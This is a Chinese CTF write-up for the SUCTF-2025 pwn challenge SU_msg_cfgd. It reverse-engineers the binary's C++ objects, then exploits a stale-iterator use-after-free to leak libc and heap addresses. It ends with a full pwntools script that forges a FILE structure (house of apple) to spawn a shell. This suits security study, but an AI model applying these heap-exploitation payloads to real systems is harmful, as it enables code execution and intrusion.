对象逆向

数据结构和算法分开看, 首先是数据结构, 也就是这里的对象(类).

class Handler {
public:
    virtual void handleMsg();
    virtual void handleCMD(char* msg);
    virtual void cmdGet(char* msg);
    virtual void cmdAdd(char* msg);
};

应该是这样,控制体, 储存几个虚函数, 编译后内存为一个内存空间

void __fastcall MsgHandler::MsgHandler(MsgHandler *this)
{
  Handler::Handler(this);
  *(_QWORD *)this = &off_EBC0;
  *((_DWORD *)this + 2) = -1;
  std::vector<Config *>::vector((char *)this + 16);
  *((_QWORD *)this + 5) = std::vector<Config *>::end((char *)this + 16);
  std::vector<CfgCMD *>::vector((char *)this + 48);  //临时储存cmd
  std::vector<Config *>::reserve((char *)this + 16, 1LL); //储存config
  std::vector<CfgCMD *>::reserve((char *)this + 48, 1LL); //储存congfigCMD
}
struct handler
{
  __int64 vtable;
  int id;
  int padding;
  struct vector vec_obj;
  __int64 last_update_obj;
  struct vector cfgcmd_queue;
};

继承自控制体的主循环类, 有三个 STL, vector 很熟悉了, 主要是 map, 基于红黑树的容器

每个红黑树节点至少包含以下内容:

  • 键 (int): 4 字节(32 位系统)或 4 字节(64 位系统,int 通常为 4 字节)。
  • 值 (Handler*): 8 字节(64 位系统的指针大小)。
  • 三个指针(左子节点、右子节点、父节点): 每个指针 8 字节(64 位系统),共 24 字节。
  • 颜色标记(红/黑): 通常占用 1 字节,但由于内存对齐,可能实际占用 8 字节。

在 64 位系统中,单个节点的总大小约为:

4 (键)+8 (值)+24 (指针)+8 (对齐后的颜色标记)= 44 字节

我们逆向的时候不用从开发的最顶层的逻辑视角来看, 而是从二进制最底层的内存视角来看, 此时要根据构造函数来确定, 因为对象实例化的时候通过构造函数出来的才是其真正的内存

这里预分配了一个对象空间(8 字节), 那么子类就是 8✖3✖2 个 内存单元, 加上父类的就是 8✖3✖2 + 1 个内存单元, 就是不知道此时会不会为 msg_queue 分配一个 handle 在类里面(很自然的想法, 因为对象实例化后就是静态的了, 不留 handle 这个成员就没有空间了), gdb 看一下,0x25D9 这里

初始化前

初始化后(这里我忘了偏移是从 0 开始算的就多看了一个内存单元)

map 占了 6 和内存单元(三个迭代器和一个计数器,上面两个不知道啥东西), vector 的话就是三个迭代器.T *start_; T * finish_; T *endOfStorage_;

在 MainLoop 注册 handle 后的内存布局.gdb 里可以看到调用注册函数后 mainloop 对象中的数据改变了且返回了一个堆地址, 返回的时候把该对象放到这个堆地址里面.第二次注册后只有 map 容器最后一个内存的数据加了 1

实例化后就是这样, 栈上只存放第一个 map 对象的迭代器和已有 map 的计数器, map 对象里有 next 和 prev 指针, idx(offset 0), key 和 value

struct mainloop_vtable
{
  __int64 handleMsg;
  __int64 handleCMD;
  __int64 cmdGet;
  __int64 cmdAdd;
};

struct vector
{
  __int64 begin;
  __int64 endOfStorage;
  __int64 end;
};

struct map
{
  __int64 what;
  __int64 begin;
  __int64 endOfStorage;
  __int64 end;
  __int64 map_num;
};

struct main_loop
{
  struct mainloop_vtable *vtable;
  struct map msg_queue;
  struct vector cmd_queue;
  struct vector cfgcmd_queue;
};

然后是 parseTLVCfgCMD 函数, 根据 io 提示的字符串来推断出有 Config content length *(_DWORD *)(v1 + 8) 和 Config name length *((_DWORD *)v7 + 6) 两个成员

CfgCMD 结构体

struct msg
{
  int optcode;
  int padding;
  unsigned int config_name_size;
  __int64 config_name_ptr;
  unsigned int content_size;
  __int64 content_ptr;
  char isUpdate;
};
struct CMD {
    int msg_type;
    int cmd_target;//这实际是提前注册的handle类型
    unsigned int cnt;
    char data[1]; // 实际上是一个可变长度数组,存放 CfgCMD 的数据
};

parseTLVCfgCMD 函数将我们输入的数据解析成 CfgCMD 格式并分配空间储存, 类似于构造函数(又分配空间又初始化对象)

msg *__fastcall parseTLVCfgCMD(msg *msg)
{
  msg *CfgCMD; // rax
  __int64 v2; // rax
  __int64 v4; // rax
  unsigned int *name_end; // [rsp+8h] [rbp-18h]
  void *content_begin; // [rsp+8h] [rbp-18h]
  msg *tem_CfgCMD; // [rsp+18h] [rbp-8h]

  CfgCMD = (msg *)operator new(48uLL);
  CfgCMD->optcode = 0;
  CfgCMD->config_name_size = 0;
  CfgCMD->config_name_ptr = 0LL;
  CfgCMD->content_size = 0;
  CfgCMD->content_ptr = 0LL;
  CfgCMD->isUpdate = 0;
  tem_CfgCMD = CfgCMD;
  CfgCMD->optcode = msg->optcode;
  CfgCMD->config_name_size = msg->padding;
  if ( CfgCMD->config_name_size <= 0x100 )      // Config name length
  {
    CfgCMD->config_name_ptr = operator new[](CfgCMD->config_name_size + 1);
    memcpy((void *)tem_CfgCMD->config_name_ptr, &msg->config_name_size, tem_CfgCMD->config_name_size);// 只是copy而已
    *(_BYTE *)(tem_CfgCMD->config_name_ptr + tem_CfgCMD->config_name_size) = 0;
    name_end = (unsigned int *)((char *)&msg->config_name_size + tem_CfgCMD->config_name_size);
    tem_CfgCMD->content_size = *name_end;
    if ( tem_CfgCMD->content_size <= 0x1000 )   // Config content length
    {
      content_begin = name_end + 1;
      tem_CfgCMD->content_ptr = operator new[](tem_CfgCMD->content_size + 1);
      memcpy((void *)tem_CfgCMD->content_ptr, content_begin, tem_CfgCMD->content_size);
      *(_BYTE *)(tem_CfgCMD->content_ptr + tem_CfgCMD->content_size) = 0;
      tem_CfgCMD->isUpdate = *((_BYTE *)content_begin + tem_CfgCMD->content_size);// content end
      return tem_CfgCMD;
    }
    else
    {
      v4 = std::operator<<<std::char_traits<char>>(&std::cerr, "Config content length is too large!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      if ( tem_CfgCMD->config_name_ptr )
        operator delete[]((void *)tem_CfgCMD->config_name_ptr);
      if ( tem_CfgCMD )
        operator delete(tem_CfgCMD);
      return 0LL;
    }
  }
  else
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cerr, "Config name length is too large!");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    if ( tem_CfgCMD )
      operator delete(tem_CfgCMD);
    return 0LL;
  }
}

io 脚本的模板, 我们发送的基本的 payload

def new_cfg(op, name, content, updated):
    normal_cfg = b''
    normal_cfg += p32(op)
    normal_cfg += p32(len(name))
    normal_cfg += name
    # content
    normal_cfg += p32(len(content))
    normal_cfg += content
    normal_cfg += p8(updated)

    return normal_cfg

configs = new_cfg(op, name, content, updated)
   payload = b""
    payload += p32(1)
    payload += p32(0x41)
    payload += p32(len(configs))
    for each in configs:
        payload += each

菜单逆向

大概流程就是先将一个 struct CMD对象 的数据传入到栈上的缓冲区, 然后用 parseTLVCfgCMD 函数根据这些数据构造 cfgcmd_queue 对象(这个过程可以理解为反序列化, 此时该对象包含的是完整的 CMD 对象的信息), 然后调用 handleCMD 函数根据 消息类型(描述对象的一种信息) 来处理用户指定的这些信息, 我们主要利用第一种消息类型, 此时调用 handle_dispatch 来进行消息种类匹配(cmd_target 对象匹配事先注册好的 handle, 此时我们主要利用本地这种类型), 处理 msg_queue 对象的 data 成员(CfgCMD), 这里就是菜单操作了, 这些命令会操作对应 handle 的 vec_objs 对象(储存 Config*的).

这里 Samsāra 师傅告诉我了一个很有用的 ida 小技巧(👍) : 在注释里写上一个地址, 双击的时候就可以直接跳转过去, 像这样

在处理这种虚表满天飞或者执行流很复杂但是我们需要利用的分支很少的程序很有用

struct Config {
    int config_type;
    char* config_name; //heap
    char* content;  //heap
}

因为没有去符号, 所以对象逆向明白之后菜单操作就很好逆了, 主要关注这两个 visit 和 update 操作

void __fastcall MsgHandler::visit_obj(handler *this)
{
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 vec_objs_end[2]; // [rsp+10h] [rbp-10h] BYREF

  vec_objs_end[1] = __readfsqword(0x28u);
  vec_objs_end[0] = std::vector<Config *>::end(&this->vec_obj);
  if ( (unsigned __int8)__gnu_cxx::operator!=<Config **,std::vector<Config *>>(&this->last_update_obj, vec_objs_end) )
  {
    v1 = __gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj);
    printf("Current Object Name: %s \n", *(const char **)(*(_QWORD *)v1 + 8LL));
    v2 = __gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj);
    printf("Content: %s\n", *(const char **)(*(_QWORD *)v2 + 16LL));
  }
  else
  {
    puts("No current object.");
  }
}
void __fastcall MsgHandler::cmdUpdate(handler *this, msg *a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v18 = __readfsqword(0x28u);
  v17 = a2;
  vec_objs_end = std::vector<Config *>::end(&this->vec_obj);
  if ( (unsigned __int8)__gnu_cxx::operator!=<Config **,std::vector<Config *>>(&this->last_update_obj, &vec_objs_end) )
  {
    v2 = *(void **)(*(_QWORD *)__gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj)
                  + 8LL);
    if ( v2 )
      operator delete[](v2);
    v3 = *(void **)(*(_QWORD *)__gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj)
                  + 16LL);
    if ( v3 )
      operator delete[](v3);
    v4 = v17->config_name_size + 1;
    v5 = *(_QWORD *)__gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj);
    *(_QWORD *)(v5 + 8) = operator new[](v4);
    config_name_size = v17->config_name_size;
    config_name_ptr = (const void *)v17->config_name_ptr;
    v8 = __gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj);
    memcpy(*(void **)(*(_QWORD *)v8 + 8LL), config_name_ptr, config_name_size);
    v9 = __gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj);
    *(_BYTE *)(*(_QWORD *)(*(_QWORD *)v9 + 8LL) + v17->config_name_size) = 0;
    v10 = v17->content_size + 1;
    v11 = *(_QWORD *)__gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj);
    *(_QWORD *)(v11 + 16) = operator new[](v10);
    content_size = v17->content_size;
    content_ptr = (const void *)v17->content_ptr;
    v14 = __gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj);
    memcpy(*(void **)(*(_QWORD *)v14 + 16LL), content_ptr, content_size);
    v15 = __gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>::operator*(&this->last_update_obj);
    *(_BYTE *)(*(_QWORD *)(*(_QWORD *)v15 + 16LL) + v17->content_size) = 0;
  }
}

在这里

if ( v8->isUpdate )
    {
      v4 = std::vector<Config *>::end(&this->vec_obj);
      v5 = std::vector<Config *>::begin(&this->vec_obj);
      this->last_update_obj = std::find_if<__gnu_cxx::__normal_iterator<Config **,std::vector<Config *>>,MsgHandler::handleCMD(char *)::{lambda(Config *)#1}>(
                                v5,
                                v4,
                                v8);
    }
//追了很多次才找到自定义的判断信息,神了
bool __fastcall MsgHandler::handleCMD(char *)::{lambda(Config *)#1}::operator()(msg **a1, __int64 a2)
{
  return strcmp(*(const char **)(a2 + 8), (const char *)(*a1)->config_name_ptr) == 0;
}

last_update_obj 我们可以自己控制,.而上面的 visit 和 update 都是用的这个迭代器来访问的 vec_objs 对象, 那么我们就可以制造出未定义行为的-迭代器造出 UAF, 那么我们就可以利用 UAF 实现泄露 libc 和 heap, 然后利用 update 实现任意写

利用

构造 UAF

只需要让 vector 扩容后,让 last_update_obj 留在原来的内存并中删除 last_update_obj 指向的那个 Config 对象就行了

泄漏 libc

然后就是分割堆块来泄露了。先明确我们的操作。我们可以用 add 分配一定大小的(常规方法下都够用)heap 用来储存 name 和 content,这两个 ptr 储存在 Config 对象里,然后我们可以用 update 来修改 name 和 content,用 visit 来访问 last_update_obj,访问用是否 update 来更新 last_update_obj,用 delete 删除 vecort 的对象和 name 和 content。那么思路就很简单了,添加 4 个新对象,两个 unsorted bin 的对象,并且让 now_obj 指向第三个对象再删除第三个对象,此时因为前面解析消息时申请了一个临时对象那么删除第三个对象时就存在一个很大的 unsorted bin 让我们切割了

    configs = []
    name = b'A'*0x30
    content = b'a'*0x30
    configs.append(new_cfg(1, name, content, 0))
    name = b'B'*0x30
    content = b'B'*0x30
    configs.append(new_cfg(1, name, content, 0))

    name = b'C' * 0x30 #tcahe
    content = b'C' * 0x420 #unsorted
    configs.append(new_cfg(1, name, content, 1))#更新last_update_obj迭代器

    name = b'D' * 0x30
    content = b'D' * 0x420 
    configs.append(new_cfg(1, name, content, 0))#放合并 + 提供额外的空间让我们切割

    name = b'E' * 0x30
    content = name 
    configs.append(new_cfg(1, name, content, 0)) #vector扩容,让last_update_obj留在原来的内存中

    # delete
    name = b'C'*0x30
    content = b''
    configs.append(new_cfg(3, name, content, 0))

    name = b''
    content = b'C'*0x6c0
    configs.append(new_cfg(4, name, content, 0)) #分割

hex (0x581a340d87e0+0x6c0+0x20) = 0x581a340d8ec0

泄漏 heap

一样的思路

    name = b'F'*0x30
    content = b'F'*0x420
    configs.append(new_cfg(1, name, content, 1)) #占据上一个0x420的位置

    name = b'G'*0x30
    content = b'G'*0x30
    configs.append(new_cfg(1, name, content, 0))
    name = b'H'*0x30
    content = b'H'*0x30
    configs.append(new_cfg(1, name, content, 0))
    name = b'I'*0x30
    content = b'I'*0x30
    configs.append(new_cfg(1, name, content, 0))

    name = b'J'*0x30
    content = b''
    configs.append(new_cfg(1, name, content, 0)) #扩容

    name = b'F'*0x30
    content = b''
    configs.append(new_cfg(3, name, content, 0)) #delete

    # split block, leak again
    name = b''
    content = b''
    configs.append(new_cfg(4, name, content, 0))

因为上一步申请了很多大的 unsortedbin,所以分割后很自然的就有不同的 unsirtedbin 存在,此时都不需要计算分割的位置,free 的时候让 ptmalloc 帮我们链上 heap 即可

构造任意写

所谓抽象,就是把一个函数的功能想象成一个汇编指令类似的东西,而该指令操作的内存也是由自己想象的

前面的操作结束后,我们的内存布局成了这样

last_update_obj 上方的对象因为扩容都被释放,这就导致了我们可以再次申请回覆盖 last_update_obj 指向的对象再配合 update 功能达成任意地址写

    configs = []
    name = b'aaa'
    content = b'a'*32+p64(_STDIN_chain-0x8)+b'a'*23 #在解析的时候申请这个0x50的堆块
    configs.append(new_cfg(1, name, content, 0))

然后随便找个地方把伪造的 file 的 payload 写进去,因为是低版本所以直接用 update 往 stdin._chain 后方放入伪造的 fil 的地址 e 实现 house of apple 的攻击(打 hook 更快)

    another_heap = heap+0x12470
    fake_stdin = heap+0x12380 
    name = b'/bin/sh\x00'+p64(0) + p64(0x10)+p64(system_addr)+p64(1)+p64(0x100)+p64(0)*14+p64(another_heap)+p64(0)+p64(0)+p64(0)+p64(1)+p64(0)+p64(0)+p64(_IO_wfile_jumps+0x30) #fake_stdin

    content = p64(510)+p64(0)+p64(0)+p64(510)+p64(530)+p64(0)+p64(0)+p64(0)+p64(0)*20+p64(fake_stdin)
    configs.append(new_cfg(2, name, content, 0))

wp

from pwn import *
from pwncli import *
#context(os='linux', arch='mips',endian="little", log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
context.terminal = ['tmux', 'sp', '-h']

file_name = "./main"
elf=ELF(file_name)
url = ""
port = 0
libc=0
def debug(filename = file_name,b_slice=[],is_pie=0,is_start = 1):
    global ph
    b_string = ""
    if is_pie:
        for i in b_slice:
            b_string += f"b *$rebase({i})\n"
        for i in range(1,2):
            b_string += f"c\n"
        #b_string += f"tel rbp\n"
    else:
        for i in b_slice:
            b_string += f"b *{hex(i)}\n"
        for i in range(1,2):
            b_string += f"c\n"            
    if is_start :
        ph = gdb.debug(filename,b_string)
        return
    else:
        gdb.attach(ph,b_string)
        pause()
b_examp=0x03C38 
b_show = 0x003A58 
b_add= 0x3C15
b_free = 0x3C58
b_slice = [
    b_examp
]

ph = process(file_name)
debug(b_slice = b_slice,is_pie=1,is_start=1) 
 
def new_cfg(op, name, content, updated):
    normal_cfg = b''
    normal_cfg += p32(op)
    normal_cfg += p32(len(name))
    normal_cfg += name
    # content
    normal_cfg += p32(len(content))
    normal_cfg += content
    normal_cfg += p8(updated)

    return normal_cfg

def config_leak_libc_unsorted():

    configs = []

    name = b'A'*0x30
    content = b'a'*0x30
    configs.append(new_cfg(1, name, content, 0))
  
    name = b'B'*0x30
    content = b'B'*0x30
    configs.append(new_cfg(1, name, content, 0))

    name = b'C' * 0x30 #tcahe
    content = b'C' * 0x420 #unsorted
    configs.append(new_cfg(1, name, content, 1))


    name = b'D' * 0x30
    content = b'D' * 0x420 
    configs.append(new_cfg(1, name, content, 0))

    name = b'E' * 0x30
    content = name 
    configs.append(new_cfg(1, name, content, 0))


    name = b'C'*0x30
    content = b''
    configs.append(new_cfg(3, name, content, 0))


    name = b''
    content = b'C'*0x6c0
    configs.append(new_cfg(4, name, content, 0))

    payload = b""

    payload += p32(1)
    payload += p32(0x41)
    payload += p32(len(configs))

    for each in configs:
        payload += each

    return payload

def config_leak_heap_unsorted():
    configs = []

    # update1
    name = b'F'*0x30
    content = b'F'*0x420
    configs.append(new_cfg(1, name, content, 1)) #占据上一个0x420的位置

    name = b'G'*0x30
    content = b'G'*0x30
    configs.append(new_cfg(1, name, content, 0))
    name = b'H'*0x30
    content = b'H'*0x30
    configs.append(new_cfg(1, name, content, 0))
    name = b'I'*0x30
    content = b'I'*0x30
    configs.append(new_cfg(1, name, content, 0))

    name = b'J'*0x30
    content = b''
    configs.append(new_cfg(1, name, content, 0)) #扩容

    name = b'F'*0x30
    content = b''
    configs.append(new_cfg(3, name, content, 0)) #delete

    # split block, leak again
    name = b''
    content = b''
    configs.append(new_cfg(4, name, content, 0))

    # here try to add tcache
    payload = b""
    # send to local handle
    payload += p32(1)
    payload += p32(0x41)
    payload += p32(len(configs))

    for each in configs:
        payload += each

    return payload

def config_exploit_IO(libc, heap):
    _IO_list = libc + 0x1cb5a0 - 0x10
    _STDIN_chain = libc + 0x1ec980 + 0x68
    system_addr = libc+0x52290
    
    _IO_wfile_jumps = libc+0x1e8f60
    another_heap = heap+0x12470
    fake_stdin = heap+0x12380 
    log.success("another heap address is " + hex(another_heap))
    log.success("name heap address is " + hex(name_heap))

    configs = []
    name = b'aaa'
    # prepare first heap
    content = b'a'*32+p64(_STDIN_chain-0x8)+b'a'*23
    configs.append(new_cfg(1, name, content, 0))

    # update it!

    name = b'/bin/sh\x00'+p64(0) + p64(0x10)+p64(system_addr)+p64(1)+p64(0x100)+p64(0)*14+p64(another_heap)+p64(0)+p64(0)+p64(0)+p64(1)+p64(0)+p64(0)+p64(_IO_wfile_jumps+0x30) #fake_stdin

    content = p64(510)+p64(0)+p64(0)+p64(510)+p64(530)+p64(0)+p64(0)+p64(0)+p64(0)*20+p64(fake_stdin)
    configs.append(new_cfg(2, name, content, 0))
    # update the target
    # add another file ptr
    payload = b""
    payload += p32(1)
    payload += p32(0x41)
    payload += p32(len(configs))

    for each in configs:
        payload += each

    return payload

payload = config_leak_libc_unsorted()
ph.recvuntil("Enter command:")
ph.sendline(payload)
c1 = ph.recvuntil("Current Object Name:")
ph.recvuntil("Content: ")
libc_base = u64(ph.recvuntil("\n")[:-1].ljust(8,b'\x00'))
libc_base = libc_base-0x1ecbe0

ph.recvuntil("Enter command:")
payload = config_leak_heap_unsorted()
ph.sendline(payload)
c2 = ph.recvuntil("Current Object Name:")
ph.recvuntil("Content: ")
heap_base = u64(ph.recvuntil("\n")[:-1].ljust(8,b'\x00'))
heap_base = heap_base - 0x127f0

payload = config_exploit_IO(libc_base, heap_base)
ph.recvuntil("Enter command:")
ph.sendline(payload)

ph.recvuntil("Enter command:")
ph.sendline(b"T")
ph.interactive()

SUCTF-2025/pwn/SU_msg_cfgd at master · team-su/SUCTF-2025